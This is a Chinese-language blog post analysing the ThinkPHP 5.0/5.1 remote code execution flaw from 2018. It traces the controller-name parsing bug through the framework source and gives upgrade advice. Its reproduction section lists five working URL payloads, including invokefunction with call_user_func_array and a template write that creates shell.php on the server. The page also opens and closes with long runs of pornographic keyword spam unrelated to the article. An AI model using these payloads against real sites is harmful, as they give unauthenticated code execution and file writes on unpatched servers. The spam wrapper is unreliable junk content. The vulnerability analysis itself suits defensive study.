日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

php5.2 get漏洞,ThinkPHP 5.x 远程代码getshell漏洞分析

發(fā)布時間:2023/12/19 php 22 豆豆
生活随笔 收集整理的這篇文章主要介紹了 php5.2 get漏洞,ThinkPHP 5.x 远程代码getshell漏洞分析 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

引言

ThinkPHP 是一個免費開源的,快速、簡單的面向?qū)ο蟮妮p量級PHP開發(fā)框架,因為其易用性、擴展性,已經(jīng)成長為國內(nèi)頗具影響力的WEB應用開發(fā)框架。

本次ThinkPHP5.x漏洞爆出時間大約是2018-9月,尚處于 0day 階段時就已經(jīng)被用于攻擊多個虛擬貨幣類、金融類網(wǎng)站;直到2018-10-8號左右才被廣泛傳開,殺傷力太大,無條件執(zhí)行代碼,我的幾個項目也緊急的升級,有驚無險。

ThinkPHP 5.0.x < 5.0.23

ThinkPHP 5.1.x < 5.1.31

漏洞分析我是第一時間在T00ls上看的,現(xiàn)在已經(jīng)全網(wǎng)到處都是了。

漏洞分析

該漏洞出現(xiàn)的原因在于ThinkPHP5框架底層對控制器名過濾不嚴,從而讓攻擊者可以通過url調(diào)用到ThinkPHP框架內(nèi)部的敏感函數(shù),進而導致getshell漏洞。

漏洞點在Module.php,先調(diào)用的exec函數(shù),初始化類時調(diào)用init()從$this->dispatch獲取$controller和 $this->actionName的值然后進入exec函數(shù)。

public function init()

{

parent::init();

$result = $this->dispatch;

.........................

$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));

$this->controller = $convert ? strtolower($controller) : $controller;

// 獲取操作名

$this->actionName = strip_tags($result[2] ?: $this->rule->getConfig('default_action'));

// 設置當前請求的控制器、操作

$this->request

->setController(Loader::parseName($this->controller, 1))

->setAction($this->actionName);

return $this;

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

publicfunctioninit()

{

parent::init();

$result=$this->dispatch;

.........................

$controller=strip_tags($result[1]?:$this->rule->getConfig('default_controller'));

$this->controller=$convert?strtolower($controller):$controller;

// 獲取操作名

$this->actionName=strip_tags($result[2]?:$this->rule->getConfig('default_action'));

// 設置當前請求的控制器、操作

$this->request

->setController(Loader::parseName($this->controller,1))

->setAction($this->actionName);

return$this;

}

先調(diào)用的exec函數(shù),初始化類時調(diào)用init()從$this->dispatch獲取$controller和 $this->actionName的值然后進入exec函數(shù)。

public function exec()

{

// 監(jiān)聽module_init

$this->app['hook']->listen('module_init');

try {

// 實例化控制器

$instance = $this->app->controller($this->controller,

$this->rule->getConfig('url_controller_layer'),

$this->rule->getConfig('controller_suffix'),

$this->rule->getConfig('empty_controller'));

} catch (ClassNotFoundException $e) {

throw new HttpException(404, 'controller not exists:' . $e->getClass());

}

$this->app['middleware']->controller(function (Request $request, $next) use ($instance) {

// 獲取當前操作名

$action = $this->actionName . $this->rule->getConfig('action_suffix');

if (is_callable([$instance, $action])) {

// 執(zhí)行操作方法

$call = [$instance, $action];

// 嚴格獲取當前操作方法名

$reflect = new ReflectionMethod($instance, $action);

$methodName = $reflect->getName();

$suffix = $this->rule->getConfig('action_suffix');

$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;

$this->request->setAction($actionName);

// 自動獲取請求變量

$vars = $this->rule->getConfig('url_param_type')

? $this->request->route()

: $this->request->param();

} elseif (is_callable([$instance, '_empty'])) {

// 空操作

$call = [$instance, '_empty'];

$vars = [$this->actionName];

$reflect = new ReflectionMethod($instance, '_empty');

} else {

// 操作不存在

throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');

}

$this->app['hook']->listen('action_begin', $call);

$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

return $this->autoResponse($data);

});

return $this->app['middleware']->dispatch($this->request, 'controller');

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

publicfunctionexec()

{

// 監(jiān)聽module_init

$this->app['hook']->listen('module_init');

try{

// 實例化控制器

$instance=$this->app->controller($this->controller,

$this->rule->getConfig('url_controller_layer'),

$this->rule->getConfig('controller_suffix'),

$this->rule->getConfig('empty_controller'));

}catch(ClassNotFoundException$e){

thrownewHttpException(404,'controller not exists:'.$e->getClass());

}

$this->app['middleware']->controller(function(Request$request,$next)use($instance){

// 獲取當前操作名

$action=$this->actionName.$this->rule->getConfig('action_suffix');

if(is_callable([$instance,$action])){

// 執(zhí)行操作方法

$call=[$instance,$action];

// 嚴格獲取當前操作方法名

$reflect=newReflectionMethod($instance,$action);

$methodName=$reflect->getName();

$suffix=$this->rule->getConfig('action_suffix');

$actionName=$suffix?substr($methodName,0,-strlen($suffix)):$methodName;

$this->request->setAction($actionName);

// 自動獲取請求變量

$vars=$this->rule->getConfig('url_param_type')

?$this->request->route()

:$this->request->param();

}elseif(is_callable([$instance,'_empty'])){

// 空操作

$call=[$instance,'_empty'];

$vars=[$this->actionName];

$reflect=newReflectionMethod($instance,'_empty');

}else{

// 操作不存在

thrownewHttpException(404,'method not exists:'.get_class($instance).'->'.$action.'()');

}

$this->app['hook']->listen('action_begin',$call);

$data=$this->app->invokeReflectMethod($instance,$reflect,$vars);

return$this->autoResponse($data);

});

return$this->app['middleware']->dispatch($this->request,'controller');

}

在$this->app->controller中將$this->controller進行實例化,跟進$this->app->controller。

$instance = $this->app->controller($this->controller,

$this->rule->getConfig('url_controller_layer'),

$this->rule->getConfig('controller_suffix'),

$this->rule->getConfig('empty_controller'));

public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')

{

list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);

if (class_exists($class)) {

return $this->__get($class);

} elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {

return $this->__get($emptyClass);

}

throw new ClassNotFoundException('class not exists:' . $class, $class);

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

$instance=$this->app->controller($this->controller,

$this->rule->getConfig('url_controller_layer'),

$this->rule->getConfig('controller_suffix'),

$this->rule->getConfig('empty_controller'));

publicfunctioncontroller($name,$layer='controller',$appendSuffix=false,$empty='')

{

list($module,$class)=$this->parseModuleAndClass($name,$layer,$appendSuffix);

if(class_exists($class)){

return$this->__get($class);

}elseif($empty&&class_exists($emptyClass=$this->parseClass($module,$layer,$empty,$appendSuffix))){

return$this->__get($emptyClass);

}

thrownewClassNotFoundException('class not exists:'.$class,$class);

}

$this->parseModuleAndClass對傳入的controller進行解析,返回解析出來的class以及module。可以看到如果$name以\開頭就將name直接作為class,再返回到controller函數(shù)中將$class實例化成object對象,返回給exec函數(shù)中的$instance。

protected function parseModuleAndClass($name, $layer, $appendSuffix)

{

if (false !== strpos($name, '\\')) {

$class = $name;

$module = $this->request->module();

} else {

if (strpos($name, '/')) {

list($module, $name) = explode('/', $name, 2);

} else {

$module = $this->request->module();

}

$class = $this->parseClass($module, $layer, $name, $appendSuffix);

}

return [$module, $class];

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

protectedfunctionparseModuleAndClass($name,$layer,$appendSuffix)

{

if(false!==strpos($name,'\\')){

$class=$name;

$module=$this->request->module();

}else{

if(strpos($name,'/')){

list($module,$name)=explode('/',$name,2);

}else{

$module=$this->request->module();

}

$class=$this->parseClass($module,$layer,$name,$appendSuffix);

}

return[$module,$class];

}

最后就是調(diào)用invokeArgs進行反射調(diào)用類中的方法了。

有了任意調(diào)用類的方法,我們就只需要找一下可以從那些類進行觸發(fā),主要看看\thinkphp\library\think\App.php中的,invokeFunction。

ThinkPHP 5.0.x漏洞invokeFunction

public static function invokeFunction($function, $vars = [])

{

$reflect = new \ReflectionFunction($function);

$args = self::bindParams($reflect, $vars);

// 記錄執(zhí)行信息

self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

return $reflect->invokeArgs($args);

}

1

2

3

4

5

6

7

8

9

10

publicstaticfunctioninvokeFunction($function,$vars=[])

{

$reflect=new\ReflectionFunction($function);

$args=self::bindParams($reflect,$vars);

// 記錄執(zhí)行信息

self::$debug&&Log::record('[ RUN ] '.$reflect->__toString(),'info');

return$reflect->invokeArgs($args);

}

ThinkPHP 5.1.x漏洞invokeFunction

public function invokeFunction($function, $vars = [])

{

try {

$reflect = new ReflectionFunction($function);

$args = $this->bindParams($reflect, $vars);

return call_user_func_array($function, $args);

} catch (ReflectionException $e) {

throw new Exception('function not exists: ' . $function . '()');

}

}

1

2

3

4

5

6

7

8

9

10

11

12

publicfunctioninvokeFunction($function,$vars=[])

{

try{

$reflect=newReflectionFunction($function);

$args=$this->bindParams($reflect,$vars);

returncall_user_func_array($function,$args);

}catch(ReflectionException$e){

thrownewException('function not exists: '.$function.'()');

}

}

都是對傳入的$function以及$var進行動態(tài)調(diào)用,直接傳入?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1即可。

漏洞復現(xiàn)

payload如下:

?s=index/\think\Request/input&filter=phpinfo&data=1

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php %20phpinfo();?> #在shell.php中寫入phpinfo

?s=index/\think\view\driver\Php/display&content=<?php %20phpinfo();?> #linux下使用

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

1

2

3

4

5

?s=index/\think\Request/input&filter=phpinfo&data=1

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php %20phpinfo();?>#在shell.php中寫入phpinfo

?s=index/\think\view\driver\Php/display&content=<?php %20phpinfo();?>#linux下使用

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

直接訪問即可任意代碼執(zhí)行。

漏洞防御

升級到Thinkphp最新版本,包括自動升級最新內(nèi)核版本和手動升級方法,具體看官方:https://blog.thinkphp.cn/869075 。

總結(jié)

以上是生活随笔為你收集整理的php5.2 get漏洞,ThinkPHP 5.x 远程代码getshell漏洞分析的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 摸丰满大乳奶水www免费 | 黄色片视频网站 | missav | 免费高清av在线看 | 狠狠操你 | 天天舔天天摸 | 正在播放木下凛凛xv99 | 岳乳丰满一区二区三区 | 先锋影音av在线 | 中文字幕色网 | 久久国产精品波多野结衣av | 国产素人av | av这里只有精品 | 色婷婷精品久久二区二区密 | 精品国产大片大片大片 | 久久精品三级视频 | 欧美片一区二区三区 | 久久久久亚洲精品国产 | 色哟哟中文字幕 | 女人的黄色片 | 国产女人高潮视频 | 中文字幕第35页 | 在线看网站 | 日韩av在线中文字幕 | 人人妻人人澡人人爽人人dvd | 成人免费视频观看 | 国内爆初菊对白视频 | 久久久久亚洲av成人无码电影 | 青青草福利视频 | 国产精品一区二区久久国产 | 欧美日韩中文字幕 | 黄色爱爱视频 | 一本一道无码中文字幕精品热 | 人妻系列一区 | 26uuu国产| 免费成人一级片 | 国产超碰在线 | 久久久久久网站 | 欧美性猛交ⅹxx乱大交 | 日穴视频 | 少妇荡乳情欲办公室456视频 | 亚洲一区无 | 天天操精品 | 婷婷在线免费观看 | 调教驯服丰满美艳麻麻在线视频 | 在线观看网址你懂的 | 小少妇哺乳喂奶播放 | 台湾男男gay做爽爽的视频 | 国产午夜一级一片免费播放 | 人妻熟女一区二区aⅴ水 | www.夜夜骑 | 爱草av | 免费观看污 | 成人在线视频一区二区 | av动漫网站 | 欧美三级三级三级爽爽爽 | 日韩视频在线播放 | 精品黑人一区二区三区久久 | 91久久国产综合久久 | 精品欧美久久久 | 欧美成人影院 | 超碰97人人干 | 精品少妇久久久久久888优播 | 亚洲国产精选 | 制服诱惑一区二区 | 欧美撒尿777hd撒尿 | 亚洲精品在线观看av | 先锋影音av中文字幕 | 明日叶三叶| 乱一色一乱一性一视频 | 亚洲av熟女国产一区二区性色 | 日韩欧美国产一区二区在线观看 | 国产乱码精品一区二区三 | 成人亚洲精品久久久久软件 | 狠狠躁18三区二区一区传媒剧情 | 国产精品久久久久久亚洲 | 丰满肉嫩西川结衣av | 日本高清免费不卡视频 | 啪啪综合网 | 天天色天天综合 | 国产精品天美传媒沈樵 | 亚洲天天影视 | av在线短片| 黄在线免费观看 | 不卡av电影在线观看 | 激情在线观看视频 | 亚洲调教欧美在线 | 艳妇乳肉豪妇荡乳 | 污片在线免费观看 | 国产你懂| 久久精品2| 91亚洲国产成人久久精品网站 | 蜜桃视频一区二区在线观看 | 日美女逼逼 | 宅男视频污 | 91日本视频 | 高清日韩欧美 | 亚洲好视频 | 国产精品一区在线观看你懂的 | 一本久道综合色婷婷五月 |